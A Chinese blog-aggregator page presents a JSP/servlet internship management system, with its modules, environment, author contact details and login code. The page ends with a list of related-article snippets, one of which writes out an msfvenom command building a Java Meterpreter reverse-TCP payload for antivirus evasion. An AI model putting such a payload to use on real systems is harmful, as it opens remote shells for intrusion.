基于javaweb的顶岗实习管理系统(jsp+servlet)

系统简介

    本项目采用eclipse工具开发,jsp+servlet+jquery技术编写,数据库采用的是mysql,navicat开发工具。

三个角色:管理员,教师,学生


模块简介

管理员:

1、登录

2、学生管理

3、公告管理

4、教师管理

5、任务分类管理

6、实习任务管理

7、实习任务申请管理

8、实习报告分数管理

学生:

1、登录

2、个人信息管理

3、查看公告

4、查看实习任务

5、申请实习任务

6、查看实习报告分数

教师:

1、登录

2、个人信息管理

3、查看公告

4、查看实习报告

5、实习报告打分


项目简介
难度等级:✩✩✩
用户类型:3角色(管理员,教师,学生)
设计模式:MVC
项目架构:B/S架构
开发语言:Java语言
前端技术:HTML、CSS、JS、JQuery等
后端技术:JSP、servlet框架
运行环境:Windows7或10、JDK1.8
运行工具:本系统采用eclipse开发,支持idea运行。
数  据  库:MySQL5.5/5.7/8.0版本
运行服务器:Tomcat7.0/8.0/8.5/9.0等版本
是否基于Maven环境:否
是否采用框架:是
数据库表数量:8张表
JSP页面数量:30多张
是否有分页:有分页

视频展示

javaweb顶岗实习管理系统_哔哩哔哩_bilibili本项目采用eclipse工具开发(idea也可运行),jsp+servlet+jquery技术编写,数据库采用的是mysql,navicat开发工具。系统一共分为3个角色分别是:学生,管理员,教师有需要加 微信 hhh1148720753 或者 QQ1148720753(非开源,非开源,非开源,重要事情说三遍), 视频播放量 77、弹幕量 0、点赞数 0、投硬币枚数 0、收藏人数 0、转发人数 0, 视频作者 码盗666, 作者简介 java码农一枚,相关视频:javawebCT图像管理系统,javaweb电力设备监测管理系统,javaweb家庭财务管理系统,健身房俱乐部管理系统,2023-mysql与navicat的安装,基于javaweb宿舍管理系统(eclipse_mysql_jsp_servlet),基于ssm的高校学生选课系统,【Java项目】java图书管理系统(附源码)_Java课程设计项目_java毕业设计,【Springboot项目实战】简约个人博客系统搭建,Spring boot + mybatis-plus + easyui | 全套完整 | 附源码笔!,创建第一个web项目~解决报错+设置中文+设置首页icon-default.png?t=N7T8https://www.bilibili.com/video/BV19z4y1j77A/?spm_id_from=333.999.0.0

获取地址 

xystgl · master · 码盗_java_bishe / java系统 · GitCodeGitCode——开源代码托管平台,独立第三方开源社区,Git/Github/Gitlabicon-default.png?t=N7T8https://gitcode.net/qq_43485489/javaweb/-/blob/master/xystgl

图片展示

部分代码展示 

登录

<%@ page language="java" contentType="text/html; charset=utf-8"pageEncoding="utf-8"%>
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c"%><%String path = request.getContextPath();String basePath = request.getScheme() + "://" + request.getServerName() + ":" + request.getServerPort()+ path + "/";
%>
<!DOCTYPE html>
<html lang="en">
<head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta name="description" content="Neon Admin Panel"><meta name="author" content=""><title>登录</title><link rel="stylesheet" href="resource/main/static/css/jquery-ui-1.10.3.custom.min.css"><link rel="stylesheet" href="resource/main/static/css/entypo.css"><link rel="stylesheet" href="resource/main/static/css/css.css"><link rel="stylesheet" href="resource/main/static/css/bootstrap.css"><link rel="stylesheet" href="resource/main/static/css/neon-core.css"><link rel="stylesheet" href="resource/main/static/css/neon-theme.css"><link rel="stylesheet" href="resource/main/static/css/neon-forms.css"><link rel="stylesheet" href="resource/main/static/css/custom.css"><link href="resource/layui/css/layui.css" rel="stylesheet"><script src="resource/main/static/js/jquery-1.11.0.min.js"></script></head>
<body class="page-body login-page login-form-fall" data-url="http://neon.dev"><script type="text/javascript">
var baseurl = '';
</script><div class="login-container"><div class="login-header login-caret"><div class="login-content"><!-- <a href="index.html" class="logo"><img src="resource/main/static/picture/logo@2x.png" width="120" alt=""></a> --><span style="font-size:30px;">顶岗实习管理系统登录</span><!-- progress bar indicator --><div class="login-progressbar-indicator"><h3>43%</h3><span>logging in...</span></div></div></div><div class="login-progressbar"><div></div></div><div class="login-form"><div class="login-content"><!-- <div class="form-login-error"><h3>Invalid login</h3><p>Enter <strong>demo</strong>/<strong>demo</strong> as login and password.</p></div> --><form  role="form" id="loginForm"><div class="form-group"><div class="input-group"><div class="input-group-addon"><i class="entypo-user"></i></div><input type="text" class="form-control" name="userName" id="userName" placeholder="请输入用户名" autocomplete="off"></div></div><div class="form-group"><div class="input-group"><div class="input-group-addon"><i class="entypo-key"></i></div><input type="password" class="form-control" name="password" id="password" placeholder="请输入密码" autocomplete="off"></div></div><div class="form-group"><select name="type" id="type" class="form-control"><option value="" selected>请选择角色</option><option value="1">管理员</option><option value="2">学生</option><option value="3">教师</option></select></div><div class="form-group"><button type="button" id="login" class="btn btn-primary btn-block btn-login"><i class="entypo-login"></i>登录</button></div><!-- 	<div class="form-group"><button type="button" class="btn btn-default btn-lg btn-block btn-icon icon-left facebook-button">注册</button></div> --></form><!-- 		<div class="login-bottom-links"><a  class="link">没有账号?</a><br><a type="button" onclick="reg()" >注册</a></div>--></div></div></div><!-- Bottom Scripts --><script src="resource/main/static/js/main-gsap.js"></script><script src="resource/main/static/js/jquery-ui-1.10.3.minimal.min.js"></script><script src="resource/main/static/js/bootstrap.js"></script><script src="resource/main/static/js/joinable.js"></script><script src="resource/main/static/js/resizeable.js"></script><script src="resource/main/static/js/neon-api.js"></script><script src="resource/main/static/js/jquery.validate.min.js"></script><script src="resource/main/static/js/neon-login.js"></script><script src="resource/main/static/js/neon-custom.js"></script><script src="resource/main/static/js/neon-demo.js"></script><script src="resource/layui/layui.js"></script><script>$("#login").on("click", function() {var userName = $("#userName").val().trim(); // trim()去除空格var password = $("#password").val().trim();var type = $("#type").val();if(userName == ""){alert('账号不能为空!');return false;}if(password == ""){alert('密码不能为空!');return false;}if(type == ""){alert('请选择角色!');return false;} $.ajax({cache : true,type : "post",url : "LoginServlet?action=login",data : $("#loginForm").serialize(),async : false,success : function(e) {if (e == 'yes') {alert("登录成功!");window.parent.location.href = "UtilServlet?action=toMain";}else {alert("登录失败,账号或者密码错误!");}}})});</script><script>layui.use([ 'form','jquery','layer','upload' ], function() {var form = layui.form,layer = layui.layer,$ = layui.jquery,upload = layui.upload;form.render();//这句一定要加,占坑window.reg = function(e){layer.open({//调整弹框的大小area:['500px','800px'],shadeClose:true,//点击旁边地方自动关闭//动画anim:2,//弹出层的基本类型type: 2,title: '会员注册',//刚才定义的弹窗页面content: 'LoginServlet?action=toRegister', //这里content是一个URL,如果你不想让iframe出现滚动条,你还可以content: ['http://sentsin.com', 'no']});}})</script></body>
</html>
protected void login(HttpServletRequest request, HttpServletResponse response) throws Exception {// 跳转到添加用户界�?String userName = request.getParameter("userName");String password = request.getParameter("password");String type = request.getParameter("type");String message = "no";if (type != null && type.equals("1")) {// adminAdmin admin = service.selectAdmin(userName, password);if (admin != null) {message = "yes";request.getSession().setAttribute("flag", 1);request.getSession().setAttribute("admin", admin);}} else if (type != null && type.equals("2")) {Student Student = service.seletStudent(userName, password);if (Student != null) {message = "yes";request.getSession().setAttribute("flag", 2);request.getSession().setAttribute("student", Student);}} else if (type != null && type.equals("3")) {Teacher teacher = service.selectTeacher(userName, password);if (teacher != null) {message = "yes";request.getSession().setAttribute("flag", 3);request.getSession().setAttribute("teacher", teacher);}}response.getWriter().print(message);}

系统总结

系统使用eclipse开发的(也可idea运行)
相关技术:jsp,servlet,JavaScript,ajax,jquery,mvc结构,jdbc连接池C3p0,mysql,bootstrap。

我的开发工具:eclipse2020,mysql5.7,navicat数据库管理工具,Jdk1.8,tomcat8.5,google浏览器。

非开源!!!!!!
项目截图中的数据,很多是用来测试的,需求自行添加合适的数据图片
喜欢的朋友的点赞加关注,感兴趣的同学可以研究!!!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/84508.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何通过一键导出导入数据实现批量重命名文件名称

在日常办公中&#xff0c;我们经常需要对大量的文件进行重命名&#xff0c;以便更好地管理和查找文件。而且&#xff0c;有时候我们还需要将文件名称翻译成其他语言&#xff0c;以适应不同的工作需求。如何高效地完成这项任务呢&#xff1f;接下来&#xff0c;我将介绍一种方法…

【李沐深度学习笔记】线性代数实现

课程地址和说明 线性代数实现p2 本系列文章是我学习李沐老师深度学习系列课程的学习笔记&#xff0c;可能会对李沐老师上课没讲到的进行补充。 这节就算之前内容的复习&#xff0c;后面以截图形式呈现 标量由只有一个元素的张量表示 import torch x torch.tensor([3.0]) y …

Spring Boot魔法:简化Java应用的开发与部署

文章目录 什么是Spring Boot&#xff1f;1. 自动配置&#xff08;Auto-Configuration&#xff09;2. 独立运行&#xff08;Standalone&#xff09;3. 生产就绪&#xff08;Production Ready&#xff09;4. 大量的起步依赖&#xff08;Starter Dependencies&#xff09; Spring …

免杀对抗-java语言-shellcode免杀-源码修改+打包exe

JAVA-ShellCode免杀-源码修改&打包EXE Shellcode-生成/上线 1.msf生成shellcode 命令&#xff1a;msfvenom -p java/meterpreter/reverse_tcp LHOSTx.x.x.x LPORTxxxx -f jar -o msf.jar 2.msf设置监听 3.执行msf生成的shellcode jar包&#xff0c;成功上线 命令&#xff1…

05_Bootstrap插件02

7 小标签 通过 .label 实现小标签&#xff0c;用于提示类。 <h1>h1标题 <span class"label label-default">标签</span></h1> <h2>h2标题<span class"label label-default">标签</span></h2> <h3&g…

Uni-app 调用微信地图导航功能【有图】

前言 我们在使用uni-app时&#xff0c;有时候会遇到需要开发地图和导航的功能&#xff0c;这些方法其实微信小程序的API已经帮我们封装好了 详见&#xff1a;微信小程序开发文档 接下来我们就演示如何用uni-app来使用他们 使用 <template><view><button type…

5G通信与蜂窝模组之间的关系

5G通信是第五代移动通信技术的简称&#xff0c;它代表了一种新一代的无线通信技术标准。5G通信的主要目标是提供更高的数据传输速度、更低的延迟、更大的网络容量以及更可靠的连接&#xff0c;以支持各种新兴应用和服务&#xff0c;包括高清视频流、虚拟现实、物联网&#xff0…

Mybatis学习笔记11 缓存相关

Mybatis学习笔记10 高级映射及延迟加载_biubiubiu0706的博客-CSDN博客 缓存:cache 缓存的作用:通过减少IO的方式,来提高程序的执行效率 Mybatis的缓存:将select语句的查询结果放到缓存(内存)当中,下一次还是这条select语句的话,直接从缓存中取,不再查数据库.一方面是减少了I…

【Vue3 源码讲解】nextTick

nextTick 是 Vue 3 中用于异步执行回调函数的函数&#xff0c;它会将回调函数延迟到下一个微任务队列中执行。其中&#xff0c;Vue 更新 DOM 是异步的。下面是对 nextTick 函数的详细解释&#xff1a; export function nextTick<T void, R void>(this: T,fn?: (this:…

websocket php教程

WebSocket 是 HTML5 提供的一种网络通讯协议&#xff0c;用于服务端与客户端实时数据传输。广泛用于浏览器与服务器的实时通讯&#xff0c;APP与服务器的实时通讯等场景。 相比传统HTTP协议请求响应式通讯&#xff0c;WebSocket协议可以做到实时的双向通讯&#xff0c;服务端可…

Webpack打包图片

一、在js文件中引入图片 二、在package.config.js中配置加载器 module.exports {mode: "production", // 设置打包的模式&#xff1a;production生产模式 development开发模式module: {rules: [// 配置img加载器{test: /\.(jpg|png|gif)$/i,type:"asset/resou…

Hadoop-sqoop

sqoop 1. Sqoop简介及原理 简介&#xff1a; Sqoop是一款开源的工具,主要用于在Hadoop(Hive)与传统的数据库(mysq1.postgresql..)间进行数据的传递&#xff0c;可以将一个关系型数据库&#xff08;例如: MySQL ,Oracle ,Postgres等&#xff09;中的数据导进到Hadoop 的HDFS中&…

虚拟机中window/ubuntu系统如何联网?

以下内容源于网络资源的学习与整理&#xff0c;如有侵权请告知删除。 参考博客 &#xff08;1&#xff09;VMware虚拟机中Windows11无法连接网络 &#xff08;2&#xff09;图解vmware虚拟机win8无线上网 &#xff08;3&#xff09;VMware中VMnet0、VMnet1、VMnet8是什么 &…

python教程:使用gevent实现高并发并限制最大并发数

嗨喽~大家好呀&#xff0c;这里是魔王呐 ❤ ~! python更多源码/资料/解答/教程等 点击此处跳转文末名片免费获取 import time import gevent from gevent.pool import Pool from gevent import monkey # 一&#xff0c;定义最大并发数 p Pool(20) # 二&#xff0c;导入gevent…

Flink1.12.7 Standalone版本安装

官网下载版本&#xff1a;https://archive.apache.org/dist/flink/flink-1.12.7/flink-1.12.7-bin-scala_2.12.tgz 可以从首页找到Downloads | Apache Flink&#xff0c;一直往下拉 安装&#xff1a;下载后直接解压即可 添加全局参数&#xff1a; #vi /etc/profile FLINK_HO…

数据结构之堆的结构与实现

目录 一、堆的概念及结构 1.1堆的概念 1.2堆的性质 1.3堆的结构 二、堆的实现 2.1堆向下调整算法&#xff08;父亲与孩子做比较&#xff09; 2.2堆的向上调整算法&#xff08;孩子与父亲做比较&#xff09; 2.3堆的创建&#xff08;向下建堆&#xff09; 2.4向下建堆的时…

GitHub上标星23K+的Redis进阶笔记(应用+原理+集群+拓展+源码)

先来看几道Redis面试题&#xff1a; redis为什么是key&#xff0c;value的&#xff0c;为什么不是支持SQL的&#xff1f;redis是多线程还是单线程&#xff1f;&#xff08;回答单线程的请回吧&#xff0c;为什么请回&#xff0c;请往下看&#xff09;redis的持久化开启了RDB和…

opencv实现仿射变换

什么是仿射变换&#xff1f; 代码实现 import numpy as np import cv2 as cv import matplotlib.pyplot as plt#设置字体 from pylab import mpl mpl.rcParams[font.sans-serif] [SimHei]#图像的读取 img cv.imread("lena.png")#仿射变换 rows , cols img.shape[…

C/C++空格分开输出 2019年12月电子学会青少年软件编程(C/C++)等级考试一级真题答案解析

目录 C/C空格分开输出 一、题目要求 1、编程实现 2、输入输出 二、解题思路 1、案例分析 三、程序代码 四、程序说明 五、运行结果 六、考点分析 C/C空格分开输出 2019年12月 C/C编程等级考试一级编程题 一、题目要求 1、编程实现 读入一个字符&#xff0c;一个整…

校园学习《乡村振兴战略下传统村落文化旅游设计》 许少辉瑞博士生辉少许

校园学习《乡村振兴战略下传统村落文化旅游设计》 许少辉瑞博士生辉少许